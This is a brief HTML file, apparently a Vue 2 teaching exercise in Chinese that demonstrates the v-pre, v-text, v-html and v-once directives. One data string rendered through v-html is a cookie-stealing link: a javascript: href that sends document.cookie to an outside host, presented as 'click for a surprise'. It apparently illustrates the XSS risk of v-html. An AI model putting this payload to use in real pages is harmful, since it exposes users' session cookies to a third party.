<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>内置指令</title>
</head>
<script type="text/javascript" src="../js/vue.js"></script>
<body>
<div id="root">
<!--    v-pre-->
    <h2 v-pre>Vue小课堂开课了</h2>
<!--    v-text-->
   <h2>你好啊，{{name}}</h2><br>
    <h2 v-text="name"></h2>
<!--    v-html-->
    <h2 v-html="str"></h2>
<!--    v-once-->
    <h2 v-once>初始化的n值：{{n}}</h2>
    <h2>现在的n值：{{n}}</h2>
    <button @click="n++">点我n加一</button>
</div>
</body>
<script type="text/javascript">
    Vue.config.productionTip=false //阻止vue在启动时生成生产提示

    new Vue({
        el:'#root',
        data:{
            name:'小王',
            str:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点着有惊喜</a>',
            n:1
        }
    })
</script>
</html>